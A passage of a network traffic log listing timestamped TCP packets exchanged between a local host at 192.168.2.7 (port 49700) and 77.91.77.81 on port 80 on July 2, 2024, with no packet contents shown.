Jul 2, 2024 12:21:12.218705893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218708992 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218724012 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.218753099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.218806982 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218842983 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.218904972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218916893 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218928099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218939066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218939066 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.218950987 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218961000 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.218961954 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218974113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218986988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.218987942 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.219008923 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.219021082 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.219204903 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219216108 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219228029 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219238997 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219244957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.219250917 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219261885 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.219271898 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.219286919 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.244522095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244538069 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244549036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244633913 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.244729042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244740963 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244751930 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244762897 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244771004 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.244775057 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.244808912 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.244832993 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245276928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245316982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245336056 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245347023 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245371103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245374918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245387077 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245398998 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245420933 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245492935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245505095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245516062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245528936 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245531082 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245563984 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245584965 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245619059 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245644093 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245656013 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245678902 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245707989 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245734930 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245747089 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245757103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.245771885 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.245805025 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246599913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246618986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246632099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246645927 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246671915 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246750116 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246762037 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246773958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246786118 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246815920 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246865988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246885061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246895075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246906042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246908903 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246917009 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.246944904 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.246959925 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247010946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247023106 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247040033 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247046947 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247051001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247062922 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247073889 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247102022 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247271061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247282028 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247292995 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247304916 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247314930 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247315884 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247325897 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247359991 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247458935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247474909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247487068 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247497082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247498035 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247509003 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247519970 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247530937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247533083 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247559071 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247577906 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247654915 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247667074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247690916 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247720957 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247759104 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247771025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247781038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247792006 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247795105 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247802973 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247812986 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247823954 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.247826099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.247853994 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248018026 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248029947 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248039961 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248049974 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248054028 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248060942 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248071909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248087883 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248115063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248212099 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248223066 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248234034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248245001 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248246908 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248255968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248279095 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248308897 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248513937 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248524904 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248534918 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248547077 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248555899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248558998 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248569012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248580933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248590946 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248591900 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248601913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248613119 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248624086 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248629093 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248650074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248651028 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248687029 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248724937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248800993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248837948 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248866081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248877048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248888016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.248912096 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.248939991 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.308942080 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.308954954 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.308964968 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.308975935 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309032917 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309055090 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309072018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309082031 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309092999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309103012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309111118 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309113979 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309139013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309156895 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309283018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309293985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309304953 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309314966 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309319973 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309351921 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309365988 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309401035 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309446096 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309457064 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309472084 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309478998 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309483051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309493065 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309504032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309504032 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309533119 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309674025 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309684038 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309700012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309705019 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309736013 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309763908 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309775114 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309784889 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309796095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309798956 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309819937 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309843063 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.309870958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.309905052 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335124016 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335144043 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335153103 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335197926 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335226059 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335226059 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335237980 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335247993 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335263014 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335288048 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335330963 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335341930 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335364103 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335388899 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335901022 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335910082 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335946083 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335959911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335988045 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.335992098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.335999012 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336016893 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336034060 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336080074 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336091042 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336112976 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336137056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336138964 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336150885 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336164951 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336169958 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336200953 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336232901 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336242914 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336252928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336263895 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336267948 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336292982 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336380959 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336390972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.336414099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.336436987 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337184906 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337209940 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337219954 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337224960 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337251902 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337289095 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337300062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337325096 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337362051 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337373018 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337393999 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337419987 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337445974 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337456942 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337471962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337477922 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337503910 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337538958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337549925 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337559938 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337570906 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337598085 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337682962 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337692976 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337703943 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337713003 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337714911 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337738991 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337765932 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337822914 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337832928 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337842941 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337853909 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337853909 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337882042 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.337913036 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.337945938 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338021040 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338032007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338042021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338052034 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338059902 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338062048 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338072062 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338082075 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338082075 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338103056 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338114977 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338172913 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338191032 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338205099 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338227987 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338346958 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338356972 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338366985 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338376999 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338380098 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338387966 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338398933 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338407040 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338408947 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338419914 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338429928 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338447094 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338469028 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338557959 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338592052 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338618994 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338629007 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338639021 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338648081 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338653088 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338680029 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338812113 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338821888 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338833094 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338844061 CEST	80	49700	77.91.77.81	192.168.2.7
Jul 2, 2024 12:21:12.338844061 CEST	49700	80	192.168.2.7	77.91.77.81
Jul 2, 2024 12:21:12.338855982 CEST	80	49700	77.91.77.81	192.168.2.7
